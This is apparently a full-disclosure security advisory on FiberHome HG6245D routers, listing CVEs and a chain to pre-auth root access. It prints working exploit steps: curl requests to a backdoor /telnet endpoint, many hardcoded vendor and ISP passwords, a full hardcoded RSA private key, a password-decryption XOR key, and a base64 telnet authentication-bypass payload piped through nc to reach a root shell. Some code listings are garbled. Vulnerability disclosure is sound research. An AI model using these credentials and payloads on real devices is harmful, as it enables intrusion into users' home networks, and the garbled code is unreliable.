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## Multiple vulnerabilities found in FiberHome HG6245D routers

## **Product Description**

FiberHome Technologies is a leading equipment vendor and global solution provider in the field of information technology and telecommunications.

The FiberHome HG6245D routers are GPON FTTH routers. They are mainly used in South America and in Southeast Asia (from Shodan). These devices come with competitive pricing but are very powerful, with a lot of memory and storage.

I validated the vulnerabilities against HG6245D, RP2602:

```
Config# show version
show version
Hardware version : WKE2.094.277A01
Software version : RP2602
Minor version : 00
Basic part version : RP2602
Generate time : Apr 1 2019 19:38:05
```

UPDATE Feb 7, 2021 - the latest firmware version (RP2613) is also vulnerable. The vulnerabilities have been confirmed in the latest firmware image (RP2613).

Some vulnerabilities have been tested successfully against another fiberhome device (AN5506-04-FA, firmware RP2631, 4 April 2019). The fiberhome devices have quite a similar codebase, so it is likely all other fiberhome devices (AN5506-04-FA, AN5506-04-FA, AN5506-04-F) are also vulnerable.

On the first analysis, attack surface is not huge:

- only HTTP/HTTPS is listening by default on the LAN
- It is also possible to enable a CLI telnetd (not reachable by default) on port 23/tcp by using hardcoded credentials on the web admin interface ( https://target/fh ).

Futhermore, due to the lack of firewall for IPv6 connectivity, all the internal services will be reachable over IPv6 (from the Internet).

It is in fact trivial to achieve pre-auth RCE as root against the device, from the WAN (using IPv6) and from the LAN (IPv4 or IPv6).

This scenario involves reaching the webserver to:

- enable a proprietary CLI telnetd (using backdoor credentials for HTTP or using the backdoor /telnet HTTP API or using a stack overflow in the HTTP server in previous fiberhome routers [and skipping next steps])
- 2. enable the Linux telnetd using authentication bypass or with backdoor credentials
- 3. use backdoor credentials to get a root shell on the Linux telnetd

Example of such scenario in 4 steps from a different network:

Please note this research was done in the beginning of 2020 and a new firmware image may be available and may patch some vulnerabilities (even if I highly doubt it). This research was supposed to be presented during a private security event last year which was postponed due to the COVID-19 situation.

Full-disclosure is applied as it is believed that some backdoors have been intentionally placed by the vendor.

Also, it is public knowledge from 2019 that Fiberhome devices have weak passwords and RCE vulnerabilities. This quote is from 2019:

We didn't see how Gwmndy malware spread, but we know that some Fiberhome router Web systems have weak passwords and there are RCE vulnerabilities.

-- https://blog.netlab.360.com/some-fiberhome-routers-are-being-utilized-as-ssh-tunneling-proxy-nodes-2/ (https://blog.netlab.360.com/some-fiberhome-routers-are-being-utilized-as-ssh-tunneling-proxy-nodes-2/)

## **Vulnerabilities Summary**

The summary of the vulnerabilities is:

```
    I. Insecure IPv6 connectivity - CVE-2021-27170
    HTTP Server - Passwords in HTTP logs - CVE-2021-27140
    HTTP Server - Harcoded SSL certificates- CVE-2021-27142
    HTTP server - Pre-auth InfoLeak - CVE-2021-27139
    HTTP Server - Backdoor allowing telnet access - CVE-2021-27173
    HTTP Server - Hardcoded credentials - CVE-2021-27143 - CVE-2021-27144 - CVE-2021-27145 - CVE-2021-27146 - CVE-2021-27147 - CVE-2021-27148 - CVE-2021-27149 - CVE-2021-27150 - CVE-2021-27151 - CVE-2021-27152 - CVE-2021-27153 - CVE-2021-27154 - CVE-2021-27158 - CVE-2021-27159 - CVE-2021-27160 - CVE-2021-27161 - CVE-2021-27162 - CVE-2021-27163 - CVE-2021-27164
    HTTP Server - TR-069 hardcoded credentials
```

```
8. HTTP Server - Credentials decryption algorithm - CVE-2021-27141
9. Telnet server (Linux) - Hardcoded credentials - CVE-2021-27172

10. Telnet server (CLI) - Hardcoded credentials - CVE-2021-27165 - CVE-2021-27166 - CVE-2021-27167 - CVE-2021-27168 - CVE-2021-27169

11. Telnet server (CLI) - Privilege escalation - CVE-2021-27171

12. Telnet server (CLI) - Authentication bypass - CVE-2021-27177

13. Telnet server (CLI) - Authentication bypass to start the Linux telnetd

14. Telnet server (CLI) - DoS - CVE-2021-27179

15. System - Credentials stored in clear-text - CVE-2021-27174 - CVE-2021-27175 - CVE-2021-27176

16. System - Passwords stored in clear-text in nvram - CVE-2021-27178

17. Misc - Remote stack overflow in the HTTP server (AN5506-04-FA / RP2631)
```

I removed several DoS and strange technical details (linked to undisclosed vulnerabilities) for clarity.

## Details - Insecure IPv6 connectivity

By default, there are no firewall rules for the IPv6 connectivity, exposing the internal management interfaces from the

An attacker can get a full access to the management http server (using hardcoded passwords) and the telnet services, by reaching the IPv6s assigned to the wan0 and the br0 interfaces.

On the device:

```
#ifconfig wan0

Link encap:Ethernet HWaddr [REMOVED]

[...]
inet6 addr: [REMOVED]/64 Scope:Global

[...]
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1

#ifconfig br0
Link encap:Ethernet HWaddr [REMOVED]
inet addr:192.168.1.1 Bcast:192.168.1.255 Mask:255.255.255.0
inet6 addr: [REMOVED]/64 Scope:Global

[...]
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
```

br0 is the internal network interface assigned to the LAN. All the services are binding to both br0 and wan0.

It is trivial to reach services from the WAN (Internet), by contacting IPv6 used by br0 or wan0:

From the WAN:

```
rasp-wan-olt% telnet [ipv6] 26
Trying [ipv6]...
Connected to [ipv6].
Escape character is '^]'.
(none) login:
telnet> q
Connection closed.
rasp-wan-olt% telnet [ipv6] 80
Trying [ipv6]...
Connected to [ipv6].
Escape character is '^]'.
GET / HTTP/1.0
HTTP/1.0 302 Redirect
Server: GoAhead-Webs/2.5.0 PeerSec-MatrixSSL/3.4.2-OPEN
Date: Mon Jan 7 21:01:29 2020
Pragma: no-cache
Cache-Control: no-cache
Content-Type: text/html
X-Frame-Options: SAMEORIGIN
Location: https://
<html><head></head><body>
                 This document has moved to a new <a href="https://">location</a>.
                Please update your documents to reflect the new location.
                </body></html>
Connection closed by foreign host.
rasp-wan-olt%
```

By using ip6tables on the device, we can confirm the complete lack of firewall rules for IPv6 connectivity:

```
#ip6tables -nL
Chain INPUT (policy ACCEPT)
target
          prot opt source
                                         destination
Chain FORWARD (policy ACCEPT)
target prot opt source
forward_ext_ip all ::/0
                                        destination
                                             ::/0
forward_ext_url all
forward ext mac all
                         ::/0
                                              ::/0
Chain OUTPUT (policy ACCEPT)
target
          prot opt source
                                        destination
Chain forward ext ds ip (1 references)
target
          prot opt source
                                         destination
Chain forward ext ip (1 references)
                                        destination
target
         prot opt source
forward_ext_us_ip all
forward_ext_ds_ip all
                                                 ::/0
Chain forward_ext_mac (1 references)
                                         destination
target
          prot opt source
Chain forward_ext_url (1 references)
                                         destination
target
          prot opt source
Chain forward ext us ip (1 references)
                                         destination
target
          prot opt source
```

I highly recommend disabling IPv6 connectivity.

## Details - HTTP Server - Passwords in HTTP logs

It is possible to find passwords and authentication cookies stored in clear-text in HTTP logs:

```
#cat /fhconf/web_log/web.log
web_utils>2020-01-07 19:16:26,../utils/cu_sessionManagement.c[465](findUser): no user named admin !

    web_utils>2020-01-07 19:16:27,../custom/weblogin.c[595](weblogin): ************suserGroupName = 1

    web_init>2020-01-07 19:16:27,../utils/utils.c[1399](get_admin_default_info): enter get_admin_default_info

    web_custom>2020-01-07 19:16:27,../custom/weblogin.c[812](weblogin): Warningl Password error! password = [REMOVED]

    web_utils>2020-01-07 19:27:24,../utils/cu_sessionManagement.c[238](createSession): create user [REMOVED]
```

## Details - HTTP Server - Harcoded SSL certificates

The web management is done over HTTPS, using a hardcoded private key with 777 permissions:

```
#ls -la /fhrom/bin/web/certSrv.pem /fhrom/bin/web/privkeySrv.pem
                                         883 Apr 1 2019 /fhrom/bin/web/certSrv.pem
-rwxrwxrwx 1 root
                                         887 Apr 1 2019 /fhrom/bin/web/privkeySrv.pem
-rwxrwxrwx
              1 root
#cat /fhrom/bin/web/privkeySrv.pem
-----BEGIN RSA PRIVATE KEY-----
MIICWwIBAAKBgQCY22+N/5InUhmotgU8jh9nQdyTmKYwFJKpvMek9fJK8rCsrED7
yl+mvUPv3yqLyMgvu1AcMmYEyngpbw94rnd2k91wiRGUGUSq8mTRPFwnplTPI8hI
JglMsKcskzRP951jxsiSS1eMlLcEd9iMUcpjUbgWzxKH0fFlRD5d8jYPtwIDAQAB
AoGANEjy6n5d7sc9caD5P5JZmYdEvNO9HLscw6SIIZvjCdHjrtyoybeaaj1ZDKao
{\tt NfIyz2jh6RMwJDlhSsLrZts+jzB+k7fAqUkdLi6fkZmpamL10EHMqzWdWuVFgCjd}
uf8ZMMuQ+/3gx/tjjG0sBuL/ko1Q7oxoIty+4xm9cwqGGtkCQQDKIJYYp9385gk4
8qDcdgnc39kmsheUB5VS0pU1/pxL2YIJltq79yghwQisaNsUUk4LMW6hNyPx7Knx\\
jRpHLsgTAkEAwZkVbjo3Ll+fM+1oPPcY4i960DURrR9eMVhq771n+GzCs9gEy2Ea
HW5f0yamZBMURZWECu1W0s764QkHXwzWTQJAaYGi95HAVT86NyinAQz4TvvlnMY/
enyO3GGhk0KpEQqjTyAYYx87KotZXK2LFct0g3E1Hx/qOmDfwH935QotUwJAH4mE
iDRLkO5azOa7uFK4ZwA9DXXXr1AQ1BEHOo6sRTfSb+GcxlTHIEw+p/L/4AWLo9o7
bFxFbInzLH2ACefZcQJAJ+US+g9Dp4tiLrenketRv9+3n0PGod2WOGqjMaEqOgmC
RjGu2aI9YguR3FuX3W9K00g3EDn/1/01XynBPR09Aws
#cat /fhrom/bin/web/certSrv.pem
 ----REGIN CERTIFICATE----
MIICXzCCAcgCCQCqr5AgCgFdqzANBgkqhkiG9w0BAQUFADB0MQswCQYDVQQGEwJD
{\tt SDELMAKGA1UECBMCSFUxCzAJBgNVBAcTAldVMQswCQYDVQQKEwJGSDELMAkGA1UE}
CxMCU0YxDDAKBgNVBAMTA1BPTiEiMCEGCSqGSIb3D0EJARYUUE900EZJ0kVSSE9N
RS5DT00uQ04wHhcNMTMwNDI0MDEyMTUwWhcNMjMwNDIyMDEyMTUwWjB0MQswCQYD
{\tt VQQGEwJDSDELMAkGA1UECBMCSFUxCzAJBgNVBAcTAldVMQswCQYDVQQKEwJGSDEL}
MAKGA1UECxMCU0YxDDAKBgNVBAMTA1BPTjEjMCEGCSqGSIb3DQEJARYUUE90QEZJ
QkVSSE9NRS5DT00uQ04wgZ8wDQYJKoZIhvcNAQEBBQADgY0AMIGJAoGBAJjbb43/
kidSGai2BTyOH2dB3JOYpjAUkqm8x6T18krysKysQPvKX6a9Q+/fKovIyC+7UBwy
ZgTKeClvD3iud3aT3XCJEZQZRKryZNE8XCemVM8jyEgmCUywpyyTNE/3nWPGyJJL
V4yUtwR32IxRymNRuBbPEofR8WVEP13yNg+3AgMBAAEwDQYJKoZIhvcNAQEFBQAD
gYEACZJepEU36h3PMc0015Bo7zkBWm2dD0RbTrJeZF561VcxlpuE2GDirNCXAbZz
Ue/x+fDQBEM8kqpFYcVMPzZBUdFwu1QIY0DottXVcFFNoKS54GL9LEMaS616R/D5
G8bCy/RF3kZwzE2cf1Z7x78zdpQpzzDc0D415ek5zkadhu0=
----END CERTIFICATE----
```

Another hardcoded private key is also available (?!) in /fhrom/bin/web and can be downloaded over HTTPS:

```
#ls -la /fhrom/bin/web/privkeySrv.pem
                                        887 Apr 1 2019 /fhrom/bin/web/privkeySrv.pem
$ curl -k https://192.168.1.1/privkeySrv.pem
   --BEGIN RSA PRIVATE KEY---
MTTCWwTBAAKBgOCY22+N/5TnUhmotgU8ih9nOdvTmKYwFJKnvMek9fJK8rCsrFD7
yl+mvUPv3yqLyMgvu1AcMmYEyngpbw94rnd2k91wiRGUGUSq8mTRPFwnplTPI8hI
JglMsKcskzRP951jxsiSS1eMlLcEd9iMUcpjUbgWzxKH0fFlRD5d8jYPtwIDAQAB
AoGANEjy6n5d7sc9caD5P5JZmYdEvNO9HLscw6SIIZvjCdHjrtyoybeaaj1ZDKao
NfIyz2jh6RMwJDlhSsLrZts+jzB+k7fAqUkdLi6fkZmpamL10EHMqzWdWuVFgCjd
uf8ZMMuQ+/3gx/tjjG0sBuL/ko1Q7oxoIty+4xm9cwqGGtkCQQDKIJYYp9385gk4
8qDcdgnc39kmsheUB5VS0pU1/pxL2YIJltq79yghwQisaNsUUk4LMW6hNyPx7Knx
jRpHLsgTAkEAwZkVbjo3Ll+fM+1oPPcY4i960DURrR9eMVhq771n+GzCs9gEy2Ea
HW5f0yamZBMURZWECu1W0s764QkHXwzWTQJAaYGi95HAVT86NyinAQz4TvvlnMY/
enyO3GGhk0KpEQqjTyAYYx87KotZXK2LFct0g3E1Hx/qOmDfwH935QotUwJAH4mE
iDRLkO5azOa7uFK4ZwA9DXXXr1AQ1BEHOo6sRTfSb+Gcx1THIEw+p/L/4AWLo9o7
bFxFbInzLH2ACefZcQJAJ+US+g9Dp4tiLrenketRv9+3n0PGod2W0GqjMaEq0gmC
RjGu2aI9YguR3FuX3W9K00g3EDn/l/01XynBPR09Aw==
 ----END RSA PRIVATE KEY----
```

### Details - HTTP server - Pre-auth InfoLeak

It is possible to extract information from the device without authentication by disabling Javascript and visiting /info.asp:

```
$ curl -k https://192.168.1.1/info.asp
[..]
Software Version: [REMOVED]
ONU State: [REMOVED]
Regist State: [REMOVED]
LOID: [REMOVED] <------ Secret used for FTTH connection
IP Address: [REMOVED]
Subnet Mask: [REMOVED]
IPv6 Address: [REMOVED]
DHCP Clients List: [REMOVED]
Wan IP: [REMOVED]
WAN Mac: [REMOVED] <----- Used for the telnet backdoor
[...]
```

Also, it is very easy to guess the MAC address of the bre interface based on the WAN MAC address (e.g.: wane: xx:xx:xx:xx:xx:x3, br0 will be xx:xx:xx:xx:x0).

## Details - HTTP Server - Backdoor allowing telnet access

In order to reach the telnetd CLI server, it is also possible to reach a backdoor API without authentication provided by the HTTP server. This will remove firewall rules and allow an attacker to reach the telnet server (used for CLI).

This backdoor can be found inside the webs binary:

From sub\_C46F8() (called from main()):

```
else if ( U_ISP_NAME == 8 )
  if ( !strcmp(s1a, "/fh") )
                                                        // admin activation
  {
  sub_C50F8(0, "loginUrlType", "2");
  v8 = "/login.html";
     v8 = "/login.ht
goto LABEL_16;
  }
if (!strcmp(sla, "/help"))
  {
    v8 = "/help.html";
 result = strstr(s1a, "/telnet?");
                                                    result = strstr(s1a,
if ( !result )
  return result;
backdoor_telnet(s1);
return 1;
```

Pseudo-code of sub\_C46F8()

The backdoor\_telnet() function (named during reverse engineering, the original name is unknown):

```
int _rastcall backdoor_teinet(int al)
int result; // r0
char "v3; // r8
char "v4; // r8
char v4; // r8
char v4; // r8
unsigned int onable value_in_get; // r7
unsigned int v8; // r0
int v9; // r0
const char "v10; // r1
char br0_mac_addr[64]; // [sp+10h] [bp-40h]
 memset(br0_mac_addr, 0, 32u);
result = websValid(a1);
if ( result )
     if ( web_def_level > 2 )
web_logger((int)"web_custom", (char ")3, "../custom/restore.c", 901, "telnet_cfg", "enter telnet_cfg()\n");
vs = websdetVar(a1, (int)"enable", (int)"");
vs = websdetVar(a1, (int)"key", (int)"");
mac_addo_provided_in_get = vs_det
     it...
v6 = getOnuMac(br0_mac_addr, 6, 32);
if...
if ( v6 )
{
   if...
     }
else if ( !strcmp(br0_mac_addr, mac_addr_provided_in_get) )
         lse if ( !strcmp()r0_mbs_now.,
enable_value_in_get = atai(v));
v0 = enable_value_in_get;
v0 = onci_set_telnet_uni_state((unsigned __int8)enable_value_in_get);//
// system("iptables -f input_ext_access_telnet_uni-i");
// OR
// system("iptables -A input_ext_access_telnet_uni-i");
// OR
                                                                                                               OR
system("iptables -A input_ext_access_telnet_uni -i br0 -p tcp --dport 23 -j REJECT --reject-with tcp-reset");
```

Pseudo-code of backdoor\_telnet()

We can reverse the function  $omci_set_telnet_uni_state()$  from  $libgl3_advance.so$ :

Pseudo-code of omci\_set\_telnet\_uni\_state()

On line 24, rules will be added depending of the value of the argument of this function.

Finally, the getOnuMac() function will provide a custom valid entry from the MAC address of the bro interface:

Pseudo-code of getOnuMac()

The backdoor is reachable by sending a HTTPS request:

• https://[ip]/telnet?enable=0&key=calculated(BRO\_MAC)

The 'secret' algorithm will extract the ending part of the mac address.

```
For the MAC: AA:AA:01:02:03, an attacker can enable the backdoor by sending:

$ curl -k 'https://[ip]/telnet?enable=18key=010203'
```

Opening the access to the telnetd:

```
$ curl -k 'https://192.168.1.1/telnet?enable=1&key=[REMOVED]'
Open telnet success!
$ telnet 192.168.1.1
Trying 192.168.1.1...
Connected to 192.168.1.1.
Escape character is '^]'.
-----acl IP:192.168.1.2 ------
Login:
telnet> q
Connection closed.
```

Closing the access to the telnetd:

```
$ curl -k 'https://192.168.1.1/telnet?enable=0&key=[REMOVED]'
$ telnet 192.168.1.1 23
Trying 192.168.1.1...
telnet: connect to address 192.168.1.1: Connection refused
telnet: Unable to connect to remote host
```

The IPv4 firewall rules before and after triggering the backdoor:

Access is being blocked:

```
#iptables-save | grep telnet
iinput_ext_access_telnet_ani - [0:0]
iinput_ext_access_telnet_uni - [0:0]
-A input_ext_access_ctrl -p tcp -m tcp --dport 23 -j input_ext_access_telnet_uni
-A input_ext_access_ctrl -p tcp -m tcp --dport 23 -j input_ext_access_telnet_ani
-A input_ext_access_telnet_ani -i tel0 -p tcp -m tcp --dport 23 -j ACCEPT
-A input_ext_access_telnet_ani -i br0 -p tcp -m tcp --dport 23 -j ACCEPT
-A input_ext_access_telnet_ani -p tcp -m tcp --dport 23 -j REJECT --reject-with tcp-reset
-A input_ext_access_telnet_uni -i br0 -p tcp -m tcp --dport 23 -j REJECT --reject-with tcp-reset
```

#### Access is allowed:

```
#iptables-save | grep telnet
:input_ext_access_telnet_ani - [0:0]
:input_ext_access_telnet_uni - [0:0]
-A input_ext_access_ctrl -p tcp -m tcp --dport 23 -j input_ext_access_telnet_uni
-A input_ext_access_ctrl -p tcp -m tcp --dport 23 -j input_ext_access_telnet_ani
-A input_ext_access_telnet_ani -i tel0 -p tcp -m tcp --dport 23 -j ACCEPT
-A input_ext_access_telnet_ani -i br0 -p tcp -m tcp --dport 23 -j ACCEPT
-A input_ext_access_telnet_ani -p tcp -m tcp --dport 23 -j REJECT --reject-with tcp-reset
```

### Details - HTTP Server - Hardcoded credentials

The web daemon contains a list of hardcoded credentials, for different ISPs:

- user / user1234
- f~i!b@e#r\$h%o^m\*esuperadmin / s(f)u h+qlu
- · admin / Inadmin
- · admin / CUadmin
- · admin / admin
- telecomadmin / nE7jA%5m
- · adminpldt / z6dUABtl270qRxt7a2uGTiw
- gestiontelebucaramanga / t3l3buc4r4m4ng42013
- rootmet / m3tr0r00t
- awnfibre / fibre@dm!n
- trueadmin / admintrue
- admin / G0R2U1P2ag
- admin / 3UJUh2VemEfUtesEchEC2d2e
- admin / getOnuMac(s, 6, 32); <- last part of the MAC address of the br0 interface
- admin / 888888
- L1vt1m4eng / 888888
- useradmin / 888888
- user / 888888
- admin / 1234
- user / tattoo@home
- admin / tele1234
- admin / aisadmin

#### You can find the incomplete list below:

```
| DATA XREF: Sub_CA540+16470 | DATA XREF: Sub_CA540+16870 | DATA XREF: Sub
   .rodata:001102D0
   rodata:001102D9 aEnterGetAdminD DCB "enter get_admin_default_info",0xA,0

        .rodata:001102D9
        aenterGetAdminD DCB "enter get_admin_default_info",0xA,0

        .rodata:001102D9
        ; DATA XREF: sub_CACD0+A8to

        .rodata:001102D9
        ; sub_CACD0+B8to ...

        .rodata:001102F7
        ; sub_CACD0+120to

        .rodata:001102F7
        ; sub_CACD0+122to

        .rodata:001102F7
        ; but_CACD0+122to

        .rodata:001102F7
        ; sub_CACD0+122to

        .rodata:001102F7
        ; sub_CACD0+12Cto

        .rodata:001103F7
        DCB "ne7jA%5m",0
        ; DATA XREF: sub_CACD0+120to

        .rodata:00110307
        sub_CACD0+120to
        ; sub_CACD0+120to

        .rodata:00110307
        ; sub_CACD0+180to
        ; sub_CACD0+180to

 .rodata:00110310 aGethguoperator_3 DCB "getHGUOperatorPwd failed! rst = %d web set default pwd: %s",
.rodata:00110310 aGethguoperator_3 DCB "getHGUOperatorPwd failed! rst = %d web set default pwd: %s",
.rodata:00110310 ; DATA XREF: sub_CACD0+1BCfo
.rodata:00110310 ; sub_CACD0+1C8fo ...
.rodata:0011034C ; DATA XREF: sub_CACD0+33Cfo
.rodata:0011034C ; Sub_CACD0+348fo ...
.rodata:0011034C ; sub_CACD0+348fo ...
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; DATA XREF: sub_CACD0+35010
; sub_CACD0+35810 ...
; DATA XREF: sub_CACD0+36810
; sub_CACD0+37410 ...
; DATA XREF: sub_CACD0+37470
; sub_CACD0+38410 ...
; DATA XREF: sub_CACD0+38410
; sub_CACD0+38410 ...
; DATA XREF: sub_CACD0+38410
; sub_CACD0+38610 ...
; DATA XREF: sub_CACD0+40010
; sub_CACD0+30610 ...
; DATA XREF: sub_CACD0+40010
; sub_CACD0+40010 ...
   rodata:00110363 aT3l3buc4r4m4ng DCB "t3l3buc4r4m4ng42013",0
 .rodata:00110363 a7313buc444m4ng DCB "t313buc444m4ng"
.rodata:00110363
.rodata:00110377
aRootmet DCB "rootmet",0
.rodata:00110377
aRotmet DCB "m3tr0r00t",0
.rodata:00110377
aH3tr0r00t
DCB "m3tr0r00t",0
  .rodata:0011037F
   .rodata:00110389 aFibreDmN DCB "fibre@dm!n",0
   .rodata:00110389
  .rodata:00110394 admintrue DCB "admintrue",0
.rodata:00110394
.rodata:00110395 a60r2u1p2ag DCB "G0R2U1P2ag",0
   .rodata:001103A9 a3ujuh2vemefute DCB "3UJUh2VemEfUtesEchEC2d2e",0
                                                                                                                                                                                                                                                              cczd2e",0
; DATA XREF: sub_CACD0+42C1o
; sub_CACD0+4341o ...
   .rodata:001103A9
   .rodata:001103A9
```

```
S5 case 8:

S5 strcpy_s(a1, "adminpld", a2);

87 v14 = a4;

88 v15 = "a6dUAB*1270qRxt7a2uGTiw";

89 return (void ")strcpy_s(a3, v15, v14);

20 case 17:

91 strcpy_s(a1, "gestiontelebucaramanga", a2);

92 v14 = a4;

93 v15 = "a3l3buc4r4m4ng42013";

94 return (void ")strcpy_s(a3, v15, v14);

20 case 18:

96 strcpy_s(a1, "rootmet", a2);

97 v14 = a4;

98 v15 = "matroPro0t";

99 return (void ")strcpy_s(a3, v15, v14);

20 case 5:

101 strcpy_s(a1, "awnfibre", a2);

102 v14 = a4;

103 v15 = "fibre@dmin";

104 return (void ")strcpy_s(a3, v15, v14);

20 case 22:

106 strcpy_s(a1, &unk_E85EB, a2);

107 v14 = a4;

108 v15 = "admintrue";

109 return (void ")strcpy_s(a3, v15, v14);

108 case 11:

110 case 11:

111 strcpy_s(a1, "admin", a2);

112 v14 = a4;

113 v15 = "GOR2UIP2ag";

114 return (void ")strcpy_s(a3, v15, v14);

115 case 15:

116 strcpy_s(a1, "admin", a2);

117 v14 = a4;

118 v15 = "GOR2UIP2ag";

119 return (void ")strcpy_s(a3, v15, v14);

120 case 16:

121 strcpy_s(a1, "admin", a2);

122 v19 = sub_CAREC(s, 6, 32);
```

I really like m3tr0r00t :)

There are passwords everywhere in the webs binary (HTTP Server).

These credentials, used with https://ip/fh will allow to open the access to the CLI telnet on port 23/tcp.

## Details - HTTP Server - TR-069 hardcoded credentials

We can find hardcoded credentials inside the webs binary for TR-069:

telecomadmin

```
36     if ( web_def_level > 3 )
37         web_logger("web_custom", 4, ".../custom/dev_register.c", 423, "itms", "from ITMS pwd = %s\n", v11);
38     if ( !strcmp(v7, "telecomadmin") && !strcmp(v8, v11) )
39         return devRegister_liangSu(v3, v4, v5);
40     v10 = "username or password error!";
```

Pseudo-code from webs

## Details - HTTP Server - Credentials decryption algorithm

By default, some credentials appear to be encrypted (in /fhconf/umconfig.txt file).

It is possible to decrypt them using the encryption function found inside the webs binary. This algorithm uses mainly xor with the hardcoded key \*j7a(L#yZ98sSd5HfSgGjMj8;Ss;d)(\*&^#@\$a2s0i3g so we can encrypt passwords and decrypt "encrypted" passwords:

Pseudo-code from decrypt\_password()

A re-implementation in C can be shown below:

#### And it works:

```
$ cc decrypt-passwords-umconfig.c -o decrypt-passwords-umconfig && ./decrypt-passwords-umconfig | hexdump -C 00000000 73 28 66 29 75 5f 68 2b 67 7c 75 0a |s(f)u_h+g|u.| 00000000c
```

Interesting fact: we previously found this hardcoded key in FTTH OLTs from another FTTH vendor:

https://pierrekim.github.io/blog/2020-07-07-cdata-olt-0day-vulnerabilities.html#weak-encryption-algorithm (https://pierrekim.github.io/blog/2020-07-07-cdata-olt-0day-vulnerabilities.html#weak-encryption-algorithm) (https://pierrekim.github.

It appears this key and this algorithm come from GoAhead:

https://github.com/BruceYang-yeu/goahead-1/blob/master/um.c#L51 (https://github.com/BruceYang-yeu/goahead-1/blob/master/um.c#L51)

## Details - Telnet server (Linux) - Hardcoded credentials

A hardcoded password for root is being defined inside /etc/init.d/system-config.sh:

W/xa50yC3jjQU is the DES encrypted data for GEPON .

This telnet server doesn't run by default but it is possible to start it from the telnet CLI.

### Details - Telnet server (CLI) - Hardcoded credentials

telnet on port 23/tcp can be also abused with these credentials:

gpon / gponenable: gpon

#### Demo:

```
$ nc -v 192.168.1.1 23
Connection to 192.168.1.1 23 port [tcp/telnet] succeeded!
-----acl IP:192.168.1.2 ------
Login: gpon
gpon
Password: gpon
User's enable
enable
Password: gpon
*****
Config#
```

We can retrieve these backdoors by reversing the libci\_adaptation\_layer.so library:

Pseudo-code of addDefualLoginAndUser() from libci\_adaptation\_layer.so

For specific ISPs, there are these valid credentials:

- admin / 4 hexadecimal chars, generated in the init\_3bb\_password() function located in libci\_adaptation\_layer.so
- rdsadmin / 6GFJdY4aAuUKJjdtSn7d

You can also test gepon / gepon (from the firmware extracted in the other analyzed fiberhome device (AN5506-04-FA, firmware RP2631, 4 April 2019)).

## Details - Telnet server (CLI) - Privilege escalation

The CLI telnet server runs on port 23/tcp and can be reached by (i) adding firewall rules from the HTTP server either using the backdoor API, (ii) using backdoor credentials on the web interface or (iii) exploiting a stack overflow in previous HTTP daemons. It is also reachable by default over IPv6 on br@ and wan@ interface.

It is possible to start a Linux telnetd as root on port 26/tcp using the CLI interface, as shown below:

```
User> ddd
WMI(DEBUG_H)> shell
Please use port 26 to telnet
WMI(DEBUG_H)> tshell
Please use port 26 to telnet
```

shell and tshell will call the function <code>enter\_telnet\_shell()</code> from <code>libcli\_cli.so</code>, running <code>system("telnet -p 26")</code>. This telneld will then use hardcoded credentials.

```
lint = fastcall enter_telnet_shell(int al)
2
{
    int v2; // r5
    struct termios termios_p; // [sp+4h] [bp-4Ch]
5
6 togetattr(consolefd, &termios_p);
    termios_p.c_lflag |= 0xlAu;
8 tosetattr(consolefd, 0, &termios_p);
    j_vty_out(al, "Please use port 26 to telnet %s", "\r\n");
    j j_vty_out(al, "Please use port 26 to telnet %s", "\r\n");
    system("telnetd_p 26");
    termios_p.c_lflag &= 0xfFFFFFES;
    v2 = tosetattr(consolefd, 0, &termios_p);
    printf("ntelnet,lack consolefd = %d\n", consolefd);
    return v2;
}
```

Pseudo-code of enter\_telnet\_shell()

 $Surprisingly, there is another function called \verb| enter_tshell| (for a legacy | tshell|) which will run a | system("sh") | as root. \\$ 

This function enter\_tshell() providing a rootshell is not being called from shell so this looks like dead code:

```
1 int enter_tshell()
2{
    int v0; // r5
    struct termios termios_p; // [sp+4h] [bp-4Ch]
5
6    tcgetattr(consoleFd, &termios_p);
    termios_p.c_lflag |= 0x1Au;
    tcsetattr(consoleFd, 0, &termios_p);
    printf("lnleave consoleFd = %d\n", consoleFd);
    isystem("sh");
11
12    v0 = tcsetattr(consoleFd, 0, &termios_p);
    printf("lnback consoleFd, 0, &termios_p);
    printf("
```

Pseudo-code of enter\_tshell()

## Details - Telnet server (CLI) - Authentication bypass

It is possible to bypass telnet authentication by sending a specific string to the remote telnet server:

```
$ echo 'GgpoZWxwCmxpc3QKd2hvCg==' | base64 -d > bypass-auth-telnet
$ etclored or control of the control
00000010
$ nc 192.168.1.1 23 < bypass-auth-telnet</pre>
-----acl IP:192.168.1.2 -----
User>
User> help
                 This system provides help feature as described below.
              1. Anytime you need help, just press "?" and don't
    press Enter, you can see each possible command argument
               2. You can also input "list" and then press Enter
     to execute this helpful command to view the list of
     commands you can use.
User> list
  0. clear
  1. enable
  2. exit
  help
  5. ping {[-t]}*1 {[-count] <1-65535>}*1 {[-size] <1-6400>}*1 {[-waittime] <1-255>}*1 {[-ttl] <1-255>}*1 {[-pattern] <
user pattern>}*1 {[-i] <A.B.C.C>}*1 <A.B.C.D>
  7. show history
  8. show idle-timeout
  9. show ip
10. show services
11. show syscontact
12. show syslocation
13. terminal length <0-512>
15. who am i
User> who
SessionID. - UserName ------ LOCATION ------ MODE ----
                                  not login 192.168.1.2 not login (That's me.)
Total 1 sessions in current system.
```

## Details - Telnet server (CLI) - Authentication bypass to start the Linux telnetd

It is possible to use the previous authentication bypass to start a full telnetd server on port 26 and then get a root shell using the password from Telnet server (Linux) - Hardcoded credentials.

By sending ddd then tshell, a telnetd will be started on port 26/tcp:

```
$ echo GgpoZWxwCmxpc3QKd2hvCmRkZAp0c2h1bGwK | base64 -d | nc target 23 &
-----acl IP:192.168.1.2 -----
Login:
User> help
      This system provides help feature as described below.
      1. Anytime you need help, just press "?" and don't
 press Enter, you can see each possible command argument
 and its description.
     2. You can also input "list" and then press Enter
 to execute this helpful command to view the list of
User> list
0. clear
1. enable
3. help
$ telnet target 26
Trying target...
Connected to target.
Escape character is '^]'.
(none) login: root
Password: [GEPON]
BusyBox v1.27.2 (2019-04-01 19:16:06 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.
uid=0(root) gid=0 groups=0
```

The attacker will get a root shell.

## Details - Telnet server (CLI) - DoS

It is possible to crash the telnet daemon by sending a specific string:

This segfault exists inside /fh/extend/load\_cli but was not studied as the previous bypass already worked.

## Details - System - Credentials stored in clear-text

Some credentials are stored in clear-text with permissive rights:

```
#pwd
/fhconf/fh_wifi
#ls -la
                             0 536 Jan 7 2020 .
0 10264 Jan 8 15:29 .
0 118 Jan 1 1970 wifi_custom.cfg
0 1212 Jan 7 2020 wifictl_2g.cfg
